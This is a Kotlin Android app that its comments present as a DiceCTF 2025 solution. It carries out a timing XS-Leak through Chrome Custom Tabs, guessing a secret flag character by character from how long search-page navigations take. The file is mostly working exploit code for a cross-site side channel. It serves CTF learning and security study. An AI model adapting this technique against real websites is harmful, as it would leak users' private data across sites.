|
// This is a solution to misc/convenience-store challenge from DiceCTF 2025. |
|
// It was solved by 7 teams. |
|
// |
|
// TL;DR Timing XS-Leak from an Android app using custom tabs |
|
|
|
package com.dicectf2025quals.attackerapp |
|
import android.content.ComponentName |
|
import android.os.Bundle |
|
import androidx.activity.ComponentActivity |
|
import androidx.activity.enableEdgeToEdge |
|
import androidx.compose.material3.Text |
|
import androidx.compose.runtime.Composable |
|
import androidx.compose.ui.Modifier |
|
import androidx.compose.ui.tooling.preview.Preview |
|
import com.dicectf2025quals.attackerapp.ui.theme.XSLeak2Theme |
|
import androidx.browser.customtabs.CustomTabsIntent |
|
import androidx.core.net.toUri |
|
import android.util.Log |
|
import androidx.browser.customtabs.CustomTabsCallback |
|
import androidx.browser.customtabs.CustomTabsClient |
|
import androidx.browser.customtabs.CustomTabsServiceConnection |
|
|
|
class MainActivity : ComponentActivity() { |
|
override fun onCreate(savedInstanceState: Bundle?) { |
|
super.onCreate(savedInstanceState) |
|
enableEdgeToEdge() |
|
|
|
val URL = "http://10.2.2.2:8000/search?query=" |
|
|
|
CustomTabsClient.bindCustomTabsService( |
|
this, "com.android.chrome", object : CustomTabsServiceConnection() { |
|
override fun onCustomTabsServiceConnected( |
|
name: ComponentName, client: CustomTabsClient |
|
) { |
|
var suffix = "dice{l0lcust0m" |
|
|
|
Log.d("dicectf", "Navigation start") |
|
|
|
var i = 0 |
|
val alph = "0123456789abcdefghijklmnopqrstuvwxyz}" |
|
var lastC = '0' |
|
|
|
fun next(){ |
|
var start : Long = 0 |
|
val session = client.newSession(object : CustomTabsCallback() { |
|
override fun onNavigationEvent(navigationEvent: Int, extras: Bundle?) { |
|
when (navigationEvent) { |
|
CustomTabsCallback.NAVIGATION_FINISHED -> { |
|
val time = System.currentTimeMillis() - start |
|
Log.d("dicectf", "Finished, time: ($time)") |
|
if(time > 500) { |
|
suffix += lastC |
|
i = 0 |
|
} |
|
next() |
|
} |
|
CustomTabsCallback.NAVIGATION_FAILED -> { |
|
val time = System.currentTimeMillis() - start |
|
Log.d("dicectf", "Failed, time: ($time)") |
|
next() |
|
} |
|
CustomTabsCallback.NAVIGATION_STARTED -> { |
|
start = System.currentTimeMillis() |
|
} |
|
} |
|
} |
|
}) |
|
|
|
if(i<alph.length){ |
|
lastC = alph[i] |
|
i++ |
|
Log.d("dicectf", "Checking: " + suffix + lastC) |
|
val customTabsIntent = CustomTabsIntent.Builder(session).build() |
|
customTabsIntent.launchUrl(this@MainActivity, (URL + suffix + lastC).toUri()) |
|
|
|
} |
|
} |
|
|
|
next() |
|
|
|
|
|
} |
|
|
|
override fun onServiceDisconnected(name: ComponentName) {} |
|
} |
|
) |
|
|
|
} |
|
|
|
} |
|
|
|
@Composable |
|
fun Greeting(name: String, modifier: Modifier = Modifier) { |
|
Text( |
|
text = "Hello $name!", |
|
modifier = modifier |
|
) |
|
} |
|
|
|
@Preview(showBackground = true) |
|
@Composable |
|
fun GreetingPreview() { |
|
XSLeak2Theme { |
|
Greeting("Android") |
|
} |
|
} |